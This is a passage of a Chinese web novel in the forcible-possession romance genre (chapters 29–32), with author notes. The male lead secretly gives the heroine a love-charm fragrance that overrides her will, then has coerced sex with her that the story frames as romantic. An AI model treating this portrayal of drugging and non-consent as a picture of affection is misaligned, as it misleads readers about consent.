孟清辞没想到他揪着问这个,她和傅晏桉什么样儿,傅珩不都看的清清楚楚,转念又想到他敏感多疑的性情,不由眸光轻佻,唇角轻扬,莞尔一笑:“叫你看出来了,是又如何?我就是喜欢年纪小的。”—— 作者有话说:一时半会儿生物钟倒不会去,要这个时间更新一阵。 孟清辞:就是嫌弃你。 傅珩:你嘴硬的很好。 宣传我的预收哦 《锁金枝》1v2 王元贞救萧衍一命,萧衍却恩将仇报,强取豪夺 萧衍身受重伤弥留之时,看见一女子,韵在光影里,头戴青玉莲花观,垂下两条飘带,眉心一点观音痣,恍若神仙妃子下凡 本应报救命之恩,他却做尽卑劣事 1v2 排雷: 1、古早狗血,SC,男主狗,女主娇弱,体型差,年龄差 2、杜撰架空乱炖,群雄割据 3、强取豪夺梗 第29章 第 29 章 奇异悸动 也许是来了月信的缘故, 孟清辞自觉心绪不似往日那般敏感易躁,身体也不再如患皮肤饥渴症一般无休止地渴求触碰,她觉得服用朱砂也算阴差阳错, 意外解了‘离不了情’, 并不亏。 自从那晚,孟清辞承认自己后悔没选傅晏桉后, 傅珩气得像是要吃人,当即拂袖而去。 此后, 傅珩白日里从不主动寻她,孟清辞倒也乐得清静。只是每到深夜,她睡得正沉时, 傅珩忙完公务后,依旧与她同榻而眠。他总习惯从身后,用手臂紧紧锢住她的腰, 几次都叫他手臂锢的腰身难受。 翌日不等她醒来,傅珩却早已起身离去,像是在较什么劲, 孟清辞全做不知。 这日宝船在闽州靠岸,霞光帮孟清辞穿戴整齐,又拿了一顶白色轻纱围帽为她带上, 其上还坠了珍贵的粉色珍珠做饰。 霞光见她通身上下无一处不贵重, 无一处不精致, 终究忍不住劝一句:“姑娘也别总拧着。主子现今待姑娘正是情热, 待姑娘千好万好, 咱们都是看在眼里。姑娘说的那些话,若换作旁人,早不知死多少次了。这些天了, 主子连一句重话都未曾对您说过。” 一边说,霞光一遍帮她将衣摆抚平:“如今到了岸上,您好歹也给主子一个台阶下,男人嘛哄哄就好了。否则今后入了府里,叫往院子里一隔,那才叫难捱。姑娘也要为自己日后打算,闽州权贵豪族,倾慕主子的姑娘不知凡几,姑娘莫要一时意气误了自身,追悔莫及。” 见孟清辞仍似未闻般不搭一言,霞光语气稍缓,轻叹道:“奴婢知道姑娘心里对主子有气。可他毕竟出身尊贵,手握权柄已久,行事难免强硬独断,自是委屈了姑娘。姑娘怨他、恼他,也是应当的。但这段时日下来,奴婢瞧着,主子待姑娘却是从未有过的真心。姑娘又何苦始终耿耿于怀那些细枝末节?” 孟清辞在侯府十年,却始终和园子里的人三观不合,见霞光大有还要劝的架势,她勉强敷衍一声:“嗯。”随即不再多言,率先一步踏出卧房, 这时候的闽州仍旧热浪袭人,偶有海风挟湿拂过,才稍稍驱散几分热意,孟清辞本觉得傅珩矫情,非让她遮面。下了宝船,迎面撞上灼人的日头,她才发觉这轻纱层叠的围帽倒是起了防晒的作用。 傅氏住宅便在闽州,孟清辞本以为两年前离开后,便永不会再踏足此地,岂料不过短短两年,便要再被关进这座笼子,滞闷感几乎压的她喘不过气。 车帘微动,傅珩俯身而入,在她对面坐下。却见她将围帽轻撩至一侧,半垂眼眸,神色说不出的哀愁之色,不知在想什么。 傅珩身着一袭银灰色缂丝常服,上绣图案花暗纹,玉冠束发,倒衬得他芝兰玉树,清贵不凡。 他今日一改连日的沉肃,眉宇间竟透出几分闲适慵懒之风,自然而然地握住孟清辞一只纤手,仿若二人之间从未有过任何隔阂,语声温和:“怎么一副闷闷不乐的模样?” 孟清辞指尖微滞,并未抽回,只低声道:“我不想住在老侯府。” 傅珩轻笑一声:“谁同你说,要住老侯府?” 孟清辞这才掀起眼帘,淡淡看他一眼,微挑的秀眉似在询问。 傅珩食指在她颊边轻轻一掠,笑说:“我既督抚闽州,自然入住巡抚府邸。” 孟清辞听了心下一轻,这才有心情多看傅珩两眼。但见他眉目间一派舒朗,意态闲适,仿佛一入闽州,便如鱼得水、如鹰翔空,万事皆在指掌之间。还是好奇问一句:“三爷是遇到什么高兴的事了?” 傅珩唇角微扬,意味深长地看向她:“算是吧。” 孟清辞对傅珩的事情不关心,便不再追问,只抬手掀开车帘,看沿途的景色。 她从前跟着大小姐傅静妤,每日不是学舞弹琴,便是学习刺绣,还要识文断字,并没有太多机会出府,对福州并不甚了解。 这一路沿途所见,码头往来客商络绎不绝,叫卖声一声高过一声,才知福州繁荣,商贸发达。 她曾听傅晏桉提及,傅珩还在福州兴办了造船厂,已研制出了容量大且坚固,吃水深,能够远洋航行的福船。 由此可见傅珩却有些经天纬地之才,并不是尸位素餐之辈,做了不少造福百姓之事,叫孟清辞不由生出几分佩服。 马车抵达巡抚官邸,早有大小官员恭候多时。 傅珩因闽州叛乱一事,他此行归来匆忙,为免落人口实,他甫一抵达便做足了姿态,叫马车直接驱使入后宅,他则风尘未洗,在前院处理起公务来。 孟清辞虽然心有不甘,却不得不进傅珩后宅的四方院,沐浴时,她将头枕在浴桶边沿,阖上双眼,蒸腾的热气氤氲而起,在心底反复流转,想着如何脱身之策。 暮色渐沉,孟清辞本以为傅珩公务堆积,今夜定然无暇过来。不料晚膳时分,他却步履从容地踏入房中,不仅与她一同用餐,更难得兴致甚好,亲自为她布菜添汤,言语温和,举止殷切。这般不同往常的体贴,反倒让孟清辞心中隐隐生出几分说不清道不明的诡异之感。 饭罢,傅珩将公文移至卧房,挑亮银灯,于外间桌案凝神批阅公文,孟清辞则慵然斜倚于窗边软榻,手执一卷游记,读得入神。二人各居一隅,互不扰攘,灯影摇曳中,竟隐隐生出几分寻常夫妻般的静谧与和谐。 不知过了几时,孟清辞只觉自己神思略有恍惚,竟是不记得刚翻过的那页都读了什么。 正在此时,傅珩低沉的嗓音忽然响起,浸着夜色,醇厚而磁性:“过来。” 孟清辞的心尖颤了下,手中的书卷险些脱手。她贝齿轻咬朱唇,依旧端坐未动,并未如他的意。 傅珩不紧不慢地将朱笔搁下,好整以暇的靠在圈椅里,他的目光笼在她身上,神色依旧如常,很有耐心的再次唤她:“过来。” 孟清辞有种说不清楚的感觉,她觉得傅珩的音色很动听,每个字都敲击在她的心房上,让她想要心甘情愿的回应,待她缓过神,已经光着脚下榻走到了他的面前。 傅珩单手一揽,稳稳扣住她纤细的腰肢。她的身子微微一颤,曼妙的曲线已全然贴合在他怀中。轻巧一个翻转,便叫她坐在了他的双膝上。 傅珩的两指捏着她的下巴微抬,眸色深沉如墨,嗓音蕴着温柔,问她:“好闻吗?” 孟清辞愣怔疑惑:“什么?” 他唇角笑意更深,在她唇边落下一个若有似无的吻,语带几分得意:“我身上的味道,好闻吗?” 经他这么一提,孟清辞才隐约察觉空气中浮动着一缕特别的异香,那气息若有似无,让她不由自主地想要靠近。方才独坐软榻时总觉得心中空落,此刻与他相依,竟莫填补了那份缺失。只是几息思绪,尚未能细想,身体已不自觉地向他贴近几分,想汲取更多令人沉溺的气息。 “好闻。”孟清辞诚实回答,软舌轻扫唇瓣,她一双秋水般的眼眸近乎痴缠地凝在傅珩的薄唇上,心口泛起一阵陌生的悸动。自小至大,除那人之外,从未有人能让她心绪如此起伏。 孟清辞自己都未曾察觉之时,身子已不自觉向傅珩贴近。然而傅珩却以修长的食指轻轻抵住她如珠如玉的唇,低笑一声:“怎么?忘了自己曾说只心仪年轻郎君的话了?” 被他蓦然打断,孟清辞心中泛起一阵难以名状的情绪,是失落?是焦急?她一时也辨不分明。她说不清方才那一瞬,自己是想要靠近他,还是……想要吻他。 “你情我愿的事情,不想就算了,少在这欲拒还迎。”孟清辞咬了咬牙,眉目燃起怒火,暗想:这个睚眦必报的老家伙,真记仇。 她言语轻佻放肆,像个游戏花丛的浪荡子。 可傅珩早已将她性子摸透,轻易不被她撩拨出真火。他一手牢牢扣住她纤细的腰肢,不允她退离半分,另一只手则在她后腰处若有似无地来回摩挲。嗓音倏地沉了下来,透出几分阴鸷: “你以为,‘离不了情’解了,便能摆脱我?”他低笑一声,字字清晰,“我实话告诉你,你休想。” 孟清辞峨眉轻蹙,满目疑惑:“你什么意思?” 傅珩不答,只以指腹压上她饱满如樱的朱唇,反复轻碾,仍低声追问:“好闻吗?” 孟清辞听傅珩反复提此,终于隐约意识到什么。本应惊怒交加,可迎上傅珩深邃的目光,竟然奇异的生出情不自禁来的悸动,被他指尖反复流连之处,非但不抵触,反而漾开一阵隐秘的满足,充|盈的之感,对着他嗓音都不自觉软了下来:“你做了什么?” 傅珩将她搂在怀里,在她耳侧轻声细语的说:“听说过种香吗?” 似乎是感受到了她对未知事物的恐惧,他如对待孩童般,一下下抚着她的后背,轻哄:“别怕,此乃夫妻双修秘药,只为了增进感情,并不伤身。” 只是这一刹那,孟清辞的双臂竟不由自主地环上了他的腰身。若说“离不了情”尚可用荷尔蒙紊乱来解释,那此刻这种令她灵魂都为之发颤的感觉,更令她胆寒。 “傅珩,你寡廉鲜耻,龌龊下流,我恨你,我恨你。”她嗓音里已带了细微的颤音哭腔,似惧似怨,却也再骂不出别的来解气。 傅珩尤似未闻,一面安抚她,一面温柔又耐心的问:“想我吗?是不是对我有了一点心动?”—— 作者有话说:本来是想酝酿下,来个二合一,显然并不成功,但我还会努力的 孟清辞:你果然和你妈一样变态 傅珩:我现在多少理解她了。 作者:爱的卑微又阴暗 推文时间:《锁金枝》1v2 王元贞救萧衍一命,萧衍却恩将仇报,强取豪夺 萧衍身受重伤弥留之时,看见一女子,韵在光影里,头戴青玉莲花观, 垂下两条飘带,眉心一点观音痣,恍若神仙妃子下凡 本应报救命之恩,他却做尽卑劣事 排雷: 1、古早狗血,SC,男主狗,女主娇弱,体型差,年龄差 2、杜撰架空乱炖,群雄割据 3、强取豪夺梗 第30章 第 30 章 风摧荷叶 孟清辞气得眼尾泛红, 面露嫌鄙:“你和傅鸿轩一样卑劣、阴损,都叫人恶心。” 傅珩细长的双眸半垂,不去看她此刻的神情。他神色莫测, 默然一瞬, 忽然握住她的后颈,迫使她与自己额间相抵, 那双深不见底的眸子逼视她,像是要穿透她的灵魂:“自然不同, 他给你用的是何等下三滥的东西。你是我以心头血精心娇养的花。” 他指节微微收紧:“种香并非真正的药,它不会伤你分毫,它只会让你真正的倾心于我。” 孟清辞以她有限的认知, 竭力理解他话里的意思,滚了滚喉咙,心惊肉跳的问:“你竟给我下蛊?” 傅珩见她在自己怀中惊怯瑟缩, 美眸惊颤的模样,完全不似平日张扬放肆,竟让他得觉她此时甚是可怜可爱, 食指刮过她细嫩的脸蛋,轻笑一声:“我怎么忍心伤你?让你受蛊毒之罪?”他声音里浸着一种近乎妖异的温柔:“都说了,不过是我的心头血, 从此以后, 你中有我, 我便是你最亲密的人, 你再不会喜欢与别人亲近。” 孟清辞只觉耳畔一阵嗡鸣, 傅珩的话语一字也听不进去,他偏执癫狂的话语叫她发怵,那冷意钻肌透骨。 她情绪已在抓狂的边缘, 身子颤得如风中残絮。她后腰紧抵着乌檀书案的边缘,崩溃的扬起纤腕玉腿向傅珩乱推乱蹬起来,云鬓散乱,珠钗斜坠,带着哭音喊道:“你有病!你有病!你失心疯了,你怎么能这么对我,解药?解药呢?快快给我解药” 傅珩的下颚不慎被她抓出一道红痕,他却面不改色,连眉头也未动分毫。只反手一把握住她纤细的脚踝。 方才挣扎间,小姑娘踢掉了绣鞋,罗袜半褪,虚虚的挂在足尖,摇摇欲坠。他温热的手掌顺势而下,稳稳托住她如玉的纤足,指尖不经意擦过足心。 孟清辞被他这突如其来的举动攥住了心神,蓦地止了挣扎。她仰起一张泪光潋滟的脸,眸中水汽氤氲,似迷似惑地望向他,不知这厮从何处学来的轻佻风流手段撩拨于她。 傅珩低笑一声,指腹在她纤巧足尖轻轻摩挲,烛影摇红间,他的声音沉如暖玉:“往日是我想差了,总念着你年纪尚小,多有克制,想着容你些时日,待你慢慢领会情意。倒让你误会了去,以为我力不从心。” 孟清辞起初只是情不自禁地想要靠近他,并未染上情|欲。可他偏偏不疾不徐,情意绵绵,如涓涓细流的抚慰。渐渐的,心尖似有新枝悄发,悄然破出心房,蔓生缠绕,将她整颗心温柔缚住,心口发暖,周身渐热。 她一面心中惶然生惧,一面又有什么难以控制的悄然滋长。这般滋味她并不陌生,曾经对那人,便是如此。忍不住想要靠近,忍不住心生欢喜,忍不住陷于温柔深渊,甘愿沉沦。 傅珩极有耐心,不疾不徐,不同于先前那般势如破竹,莽撞的一气呵成。他细长的眼眸如墨玉深潭,始终凝在她脸上,不曾错过她一丝一毫的神情变化。 她被困在傅珩与乌檀书案之间,进退无路,恐惧与渴望交织,紧紧攫住了灵魂 直至她气息渐乱、双颊染绯,傅珩才低声开口,嗓音沉而温,透着蛊惑:“喜欢吗?”他指尖若有似无地抚过她烫热的耳垂,又问一句:“喜欢我么?” 孟清辞倔强的偏过头去,咬着下唇,却没有拂开他作乱的手。 傅珩没有错过她这一丝的变化,却没有点破,他此时及有耐心,像极了包容她小脾气的好情人。周到细致的照顾她,不错过一处的安抚,似乎只是想要她舒坦。 直到她不能自控的身体后倾,仰颈轻哼一声,傅珩又问她:“喜欢我么?” 孟清辞已经不知道过去了多久,她也不知道自己还能坚持多久,终于在有一次的轻颤中,嗓音发颤的妥协:“喜欢。” 那尾音似带着钩子,叫傅珩情难自抑,他掐着她的下颚,不肯放过她:“你喜欢谁?” 一滴清泪滑落,孟清辞艰难吐出:“傅珩。” 傅珩妖异的轻柔一笑:“要我么?” 孟清辞觉得他欺人太甚,好不委屈,抿着朱唇不肯再说一个字。 傅珩这才放过她,将她揽进怀里。 “你哭了。”在她耳边低语:“这身衣服怕是不能再穿。” 孟清辞听得他不要脸的孟浪之言,脸色骤变,张口狠狠咬在他肩膀上,恨不得撕下一块肉来。 雨打芭蕉,风摧荷叶,孟清辞只觉羞耻至极,她不知道傅珩都学了什么,只觉得乌檀书案硌人的狠,膝盖的骨头都要碾碎了。口里也不消停,皆是令人难以启齿的艳词浪语。 “如此舒服吗?” “你明明也喜欢。” “我怎会不行?” 孟清辞忍无可忍,恼怒瞪他:“闭嘴。” 傅珩掐着她的一把细腰,偏执道:“说你喜欢与我痴缠?” 孟清辞哪里肯依他,他也不急。并不似从前霸道激进,竟不紧不慢的痴缠起来,直叫她神思涣散开来松了口。 又听他胡言乱语起来:“记住,你只能喜欢我,只有我能给你欢愉。” 待到情散,孟清辞目光望着屋顶放空,轻若蚊蝇一句:“傅珩,我恨你。” 傅珩顿了下,又不打算放过她,轻叹一声:“恨也好。”他食指点在她心口处:“总好过这里没有我。” 昔年在军中,他曾听士卒们说浑话,说是女人嘛,跟了男人,若是仍不服,便需以枕席间的功夫来驯服。日久天长,心思也叫给了这个男子,他如今觉得很是有几分道理。 他抱着她回到床榻间,很是温柔体贴的为她将汗湿的鬓发拨开,从背后抱着她安慰:“知你怕什么,暂时不叫你有身孕。” 极差的处境,听见一个叫人安心的答复,似乎能大大的缓解溃散的心情。 只是此刻孟清辞并未看见,傅珩晦涩浓黯,难以明辨的眸色。 翌日,傅珩难得没有早起,孟清辞在他怀里醒来,竟是双臂亲昵的抱着他劲瘦的腰身,比起没有骨气的一晌贪欢,最令她难以接受的是身体违背意志的背叛。 傅珩缱绻轻柔的一吻落在她的额间,宛若两人真是一对恩爱璧人。 孟清辞经了昨夜,已全然领教了他的乖张难测,不再试探他,以免激怒于他,再吃无谓的苦头。她索性认命般,破罐子破摔的赖在傅珩怀里。 傅珩见状,唇角不自觉扬起,晨起的嗓音低沉微哑:“可要我帮你上药?” 孟清辞脊背微微一僵,某些旖旎却难以启齿的记忆倏然翻涌而上,她真是怕了傅珩这双好看又可恨的手。她耳根发热,逃避似得将脸埋进傅珩胸膛,没应声,却也未再推拒,他根本就容不得别人忤逆。 自此,两人之间仿佛又寻得了一种微妙的平衡。 孟清辞不愿似笼中雀一般,终日囚困在巡抚府邸后宅的方寸之地,每逢傅珩忙于公务,她便要去街市铺面间闲步散心。 傅珩自知理亏,此次又惹恼了她,见她如此,怕逼她太甚,过犹不及,也不便强硬阻拦,只吩咐墨松每每跟着,护她周全。 孟清辞每次出府,都要大肆采买,她奈何不了傅珩,要屈服在他的淫|威之下,只能拿他的钱财撒气。 只她未曾料到,闽州城如今竟比那日马车中所见更为繁华。长街上人流如织,熙攘不绝,其间不乏装扮利落的女子自在出行。 百姓衣衫整洁,鲜见补丁,人人面容宁和,显是生活安稳。整条街道市声喧喧,洋溢着一派欣欣向荣的太平盛景。 墨松借机在一边给孟清辞介绍:“自两年前大爷调任京畿,主子便兼任闽州巡抚。两年间,开设月港洋市,化寇为商,又大力劝课农桑。如今闽州所出的茶叶、糖、染料、丝织品,样样都是洋商争抢的紧俏货。不过短短两年,便有这般繁荣新象,皆赖主子苦心经营。” 他心思活络、人情练达,最是善察言观色。几番往来之下,他冷眼瞧着,早看出孟清辞对侯府家风乃至一众主子的做派颇看不入眼,连带着也对自家主子深有偏见。 因此趁着外出之机,见缝插针,替主子在姑娘面前描补几句好话,为主子分说一二,多少盼挽几分好感。 孟清辞眼风淡淡扫过墨松,只作未闻,一径踏入旁侧一家成衣铺子。 掌柜的见她穿戴不凡,通身的气派,仆婢前呼后拥,忙不迭从柜台后绕出,躬身笑迎:“姑娘,您想看些什么?咱们这儿有闽州最时兴的衣裙,都是独一份儿的紧俏货。” 孟清辞纤指轻点,掠过一排华裳:“这件、这件……还有这些,统统包起来。” 掌柜起初喜形于色,眼见着她几乎将店内所有款式指了个遍,不禁迟疑起来:“姑娘……这些,您全要了?” “记好了,全部送至巡抚府上。”孟清辞不再流连,转身而出,她声音清淡却不容置疑:“传话给你们东家,姓孟的回来了。三日后,我自会派人来取他欠下的银两,叫他备妥了。” 掌柜虽心中惊疑不定,但一听“巡抚府”三字,当即敛声屏气,忙不迭的应下。 稍晚,巡抚府书房内,傅珩听了墨松的回禀,于公文中抬首,问道:“她当真如此说的?” “回主子的话,”墨松躬身道,“奴才已查实,那成衣铺的东家正是与姑娘有书信往来的宋泊简。奴才又盘问了老侯府的旧人,得知二人从前并无甚特殊往来。如此看来,大约确是他欠了姑娘的银子。” 傅珩蓦然想起京畿甘露台茶馆雅间里,孟清辞与宋闻璟的谈话,不由轻哼一声:“她若能想通,自是最好。”—— 作者有话说:不好意思更晚了,希望大家喜欢这章啊 30-40 第31章 第 31 章 狂风骤雨 墨松躬身垂首, 喉头滚动了几下,话到嘴边又咽了回去不知该如何向傅珩禀告。 傅珩见他吞吞吐吐的欲言又止,不由蹙起眉头, 声音里带了几分沉肃:“还有何事?” 墨松禀道:“今日孟姑娘外出采买, 各项用度支取,还请主子过目。”说罢, 自袖中取出一本细目,躬身递上。 傅珩本疑惑, 这等日常用度琐务本无需他亲自过目,他堂堂一个闽广巡抚,难道还养不起一个女子么? 然而墨松行事向来稳妥, 若非确有异常,绝不会轻易拿来烦扰于他。他敛起心思,接过那册账目, 随手翻了两页,眸光倏然一凝,不由抬眼看住墨松, 眼底带上了询问之意。 墨松忙回话:“孟姑娘今日,逛了十数家银楼绸庄,入内并不细看, 不论合用与否, 一一点指, 将店内摆置尽数买下。所购之物尽是钗环锦衣一类, 一日之内, 便耗银数千两。” 傅珩何等聪明,一瞬了然,小姑娘是在拿他的银子撒气呢。他唇角微不可察地抬了一下, 心想:喜欢银子是好事,只怕她什么都不喜欢,只一门心思想要走,人要欲|望,有了欲望,才有弱点,有了弱点才好拿捏。 她哪里知道,莫说是些珠翠绫罗,便是她真要买空整座闽州,亦无不可,他坐拥闽广,浙江亦是他囊中之物,四海财帛如川流经手,又何曾将这点金银放在眼里。 傅珩闻言却只淡淡一笑,随手将账册搁在案上,对墨松道:“不过数千两银子,也值得你特来一回?便是她日日如此,又有何妨?我傅珩的人,难道还当不起这份体面?日后这等小事,不必再来报我。” 傅珩心下暗忖:若能花些银两换她消气,还是他得了便宜。 只是傅珩印象中的孟清辞,仍是自小在国公府养大的奴婢,眼界见识顶天不过侄女的私产与嫁妆,及内宅琐事,并不知那些于他来说不过区区而,并不放在眼里。 他哪里知道,今日这般挥金如土才是孟清辞的常态。且说孟清辞穿越前不仅喜欢拍,动辄上千万的珠宝首饰,进了高奢店也是一排排的买。 墨松在一旁听得暗暗咋舌,这当真还是他那位从不近女色、清冷自持的主子? 不过在京畿逗留短短时日,那女子竟能令主子转变如斯,不仅对她百般纵容,听说还为了她寻来广西秘术,想到此,他讳莫如深的偷觑主子心口处。心内叹一声:恐主子待孟姑娘之心,早已非同寻常。 “你只谨记,出府要将人看好,若是有差池,拿你是问。”傅珩只做不知墨松的心思,挥手淡道:“下去吧。” 墨松心头一凛,不敢再多瞧一眼,当即躬身应了声“是”,悄无声息地退了下去。 闽州巡抚府邸后院里,霞光见一众仆役抬着箱笼物件如流水般涌进院来,饶是她今日跟着出去了,也不由觉得头皮发麻。 她转身轻掀帘栊,进到内室向孟清辞轻声请示:“姑娘,外头那些物件该如何安置?是否此刻就让人拾进来,供姑娘过目选用?” 孟清辞轻啜一口碧螺春,又拈起一块樱桃煎,眼也未抬,只闲闲道:“不必,统统收进库房便是。” “哎。”霞光此次没再劝她,应声出去了,她算是看出来了,她每每劝说,姑娘虽说不驳斥她,却从不走心,姑娘本就心里积郁,她何必再去讨嫌惹姑娘不快。 恰在此时,傅珩从外间步入,一眼便瞧见她懒懒地倚在软榻上。她有一搭没一搭地轻摇那柄金丝牡丹团扇,悠然品着茶点,眼波如勾,娇丽蛊媚,浑身上下透着一股闲适慵懒风流之态,竟是自成一副美人图。 看得傅珩心头微热,暗暗唾弃自己一遇见这丫头,便隔不开手来。 孟清辞本已打定主意不再激怒他,待他放松警惕再寻脱身之法,可见他看自己那不甚清白目光,便忍不住要刺他一句:“呦,这不是我的金主干爹嘛,您今日可真是大方。” 傅珩似是听多了,并不再与她分辨,只撩袍在她对面坐下,问一句:“今日可舒心了?” 孟清辞眼波微转,懒懒应道:“还成罢。只怕我要日日如此,才能称心呢。” 傅珩淡笑一声:“若是你喜欢,并无不可,爷自是养得起你。” 孟清辞警惕的掀眼觑他神色,他昨日起先也是如此好脾气温言好语,只后便翻起脸来,此刻再见他这般神色,她虽面上不显,心里反倒愈发没底,指尖无意识地收紧。 傅珩如寻常夫妻闲话般问她:“樱桃煎好吃吗?” 孟清辞奇异的品出几分缱绻来,莫名叫她依恋。 待她回神,竟是亲自将樱桃煎喂到傅珩口中,指尖温热,她如被烫着一般缩手,手腕儿却叫傅珩握着,半分退不得。 孟清辞才要说他一句‘不要脸’,却叫傅珩手上一用力,将她带到他膝上。 她扑在他怀里,闻到那股引诱她的香气,心下一凛,这一日她都无事,她以为并没有傅珩说的厉害,现在只觉得后怕,不知道这‘种香’到底是个什么鬼东西,如此厉害,它对此物一无所知。 傅珩握着她的手,按在自己的心口,目光沉静却不容回避:“感觉到了吗?” “什么?”孟清辞故作不知,心下却骤然大震。她指尖所触,是他胸膛之下清晰而有力的跳动,一声一声,仿佛无声的言语,径直撞入她心扉。她竟恍惚觉得听得懂那心跳里的每一分悸动。 最可怕的是,她不由自主地,想要回应他,自己的心跳也渐渐合上了他的节拍。 傅珩低头吻上她的唇,浅尝深品,如饮醇酒,见她乖顺任他施为的模样,心头肆虐骤起,如狂风骇浪摧折一院海棠,颓靡委败。 孟清辞叫傅珩困在一方逼仄软塌上,他完全掌控着她呼吸的节奏。 叫他攥住心尖有意惩罚,她无法自持的扬起细白的颈子,傅珩径直跟上,吻上她颈侧。 在她溢出短促的一声细媚,他更近一步,却不给她个痛快,逼她道:“叫干爹。” 隔着一扇薄薄的窗扇,外面便是仆婢搬东西的脚步声,脏乱的声音,像是踩在她的心头。 她朱唇紧抿,羞耻有愤怒的瞪视他。 傅珩却轻哂一声,并不着急的,他极有耐心的与她重温,眉宇间尽是分魂色授予的享受之态。 孟清辞叫她气得不轻,压低了嗓音,嗓音轻的似气音:“你个为老不尊的老不修。” 傅珩全然不在意的轻佻一笑,回应她的是更为急剧的狂风骤雨。 屋门敞着,只隔着一层竹帘,孟清辞又怕又紧张,推也推不开他,心底竟然升起隐秘的期待,叫她恐惧到发颤。 傅珩似乎待她有无尽的耐心与手段,直到孟清辞破防,彻底的丢盔弃甲,鬓发歪斜,如水洗过,钗鬟早不知丢在了何处,泪眼涟涟,啜泣不止。 傅珩扔不肯放过她:“叫干爹。” 孟清辞叫他逼迫到无法,只能服软的伸出手臂勾住他的脖颈,贴亲他,嗓音轻弱如蚊蝇唤一声。 傅珩这才满意,为她拭去泪痕,调笑一句:“此间做你干爹亦无妨,只要在一处,我亦心甘情愿。” 孟清辞叫他不要脸的荤话恶心的差点吐出来,却拿他毫无办法,只能骂一句:“下|流。” 傅珩呵笑一声,将骨节分明如竹的手在她面前一晃而过,附和一句:“确实下|流。” 孟清辞实在无法忍受他,手脚并用的对他拳打脚踢起来,巡抚大人清隽的脸上自然又添新伤。 ———— 傅珩从京畿归来,公务繁忙,又要让闽州海商假做叛匪给京里来的督军看,平日里并不拒着她在身边。 孟清辞被傅珩困在身边,一时找不到机会逃跑,她心里虽然着急,但并没有放弃过,所以几乎日日上午前便出府闲逛,不到日落金山并不回来府。 这日她出出门上了马车,复又掀起车帘交代一句:“去大雄宝寺。” 墨松面带难色,暗自叫苦:这位主子当真是一刻也不消停。 他本是傅珩手下得力的管事,手中握着傅珩名下所有产业账目,平日里多少人争相讨好巴结。如今倒好,竟沦落成专为她跑腿办差的小厮。 纵使心中百般不愿,墨松却丝毫不敢表露。这位本就不好伺候,也知主子爷,怎么能日日得罪于她,叫她白日里变着法子折腾人泄愤, 今日竟突然说要往大雄宝寺去,那可是出城了,若是出了岔子,有个闪失,他可担不起责,一时并不敢擅专,僵立在马车外,愁容满面,迟迟不应声动身。 孟清辞倏地掀开车帘,冷着脸,讥笑一声:“若是拿不准主意,便速速去问能拿主意的人,少要摆出这副脸子在此拖延,怎的,我不仅要看你主子的脸色,如今连他底下人的脸子也要一并瞧了?” 墨松忙躬身赔笑:“哪能呢!主子交代了,出门在外都听姑娘的,姑娘想去哪里都成。” 孟清辞闻言,猛地一甩手,帘子应声垂落。 墨松不敢耽搁,急声吩咐门房进去禀报傅珩。心下却早已盘算清楚:若主子不允,便立刻骑马去追,也是来得及。到时候他再打到回府,姑娘也怪不到他的头上,两边不得罪。 不过,墨松想,以主子近些时日的脾性,多半是允的。 孟清辞与傅珩相处这些时日,觉察傅珩对她似乎放松了些许警惕。她心中暗自计量,觉得时机已至。便定在今日出城,便是想瞧瞧,若真离了傅珩身边,那所谓“种香”究竟会如何?—— 作者有话说:生物钟到这里了,只能这个时间更新,但是保障日更,如果不更一定会说,感谢大家这么喜欢。 我很久不写,所以这个文主要以男女主情感线为主,权谋剧情只辅助,不会曲折复杂,如果喜欢权谋可以留言告我 下一个文安排。 这绝对是一个强取豪夺的爽文。 退下我的预收文《锁金枝》我还给选了个封面,差点选瞎双眼。 文案 1v2 王元贞救萧衍一命,萧衍却恩将仇报,强取豪夺 萧衍身受重伤弥留之时,看见一女子,韵在光影里,头戴青玉莲花观,垂下两条飘带,眉心一点观音痣,恍若神仙妃子下凡 本应报救命之恩,他却做尽卑劣事 排雷: 1、古早狗血,SC,男主狗,女主娇弱,体型差,年龄差 2、杜撰架空乱炖,群雄割据 3、强取豪夺梗 第32章 第 32 章 今日轻些 傅珩说这‘种香’于她无害, 那若是,那若她在寺中住上几日都无碍,岂不是离开傅珩也无所谓。虽然希望微乎其微, 孟清辞还是想要试一试。 鎏金错银的朱班轮轧过官道发出沉稳的辘辘声, 在尘土轻扬中不时闪过一抹耀眼的金光。 剔红漆艺雕缠枝莲纹的马车,配青缯为表、朱绫为里庑殿车顶。四角坠着金线流苏, 巡抚府的铜牌挂在一角,随着马车行进轻轻摇曳, 映着日光流转生辉,极尽奢靡。 霞光坐在铺着软绒绣垫的车厢内,忍不住好奇问道:“姑娘不是不信神佛, 怎么突然要去大雄宝寺?” 孟清辞纤指轻撩绣云纹车帘,望着城外郁郁葱葱的景色,唇角微扬, 漫应道:“城里逛腻了,出来透透气。我不信,你不是信嘛?正好叫你上柱香。” 她忽而眼波一转, 玩味地瞥向霞光,意有所指地朝车外骑马随行的墨松一扬下颌:“正好也给你自己求个姻缘。” 霞光霎时红了脸,佯怒扭过身子:“姑娘尽会取笑我!” 孟清辞仍望着窗外, 语带调侃:“我这双眼睛又没瞎, 你俩天天在我眼前眉来眼去的, 我想装作不知都难。好霞光姐姐, 若不是我, 你们哪来这么多机缘?到时候可别忘了给我包个媒人红包呀。” “姑娘做了主子,反倒越发没个正经了!只知道打趣做奴婢的,也不知是个什么道理。”霞光耳根通红, 低声嗔道。她羞得咬住下唇,索性扭身朝向车门,打定主意不再理她。 见打消了霞光的疑虑,不再试探她。孟清辞唇边凝着一抹浅淡的笑意,仍旧转眸望向窗外,悠然赏看那一派明媚天光。 邻近大雄宝寺,忽见路边停着一辆抛锚的马车,显见是车辕断了,无法前行,车夫一脸难色。车边立着一对主仆,衣饰不俗,却面露忧色。 渐渐由远及近,随风隐约传来那婢女带着哭腔的抱怨声:“他们算什么长辈,不止要吃绝户,还处处为难小姐,分明是故意——” 孟清辞与那站在车旁的小姐目光倏然相触。不过一瞬之间,车辆已擦身而过。 孟清辞想到那女子温婉中透着坚韧的双眸,她心中微动,抬手叩响车壁,扬声道:“停车。” 墨松闻声勒马,轻驱坐骑至车窗旁,俯身恭敬问:“姑娘有何吩咐?” 孟清辞吩咐他:“去瞧瞧方才那对主仆,想来是马车坏了,你们去搭把手。” 墨松回头望了一眼,不敢拂逆这位小祖宗的意思,当即应了声“是”,旋即策马转身,扬鞭而去。 孟清辞又对霞光道:“他一个大男人,多有不便,你也随去看看,荒郊野外的,一位闺阁小姐,身边只有一个婢女并一个车夫,终究不妥,恐遭不测,去问问,可愿与我同车前往大雄宝寺,之后再作打算。” 霞光闻言应了一声,利落地掀帘下车,朝那抛锚的马车方向走去。 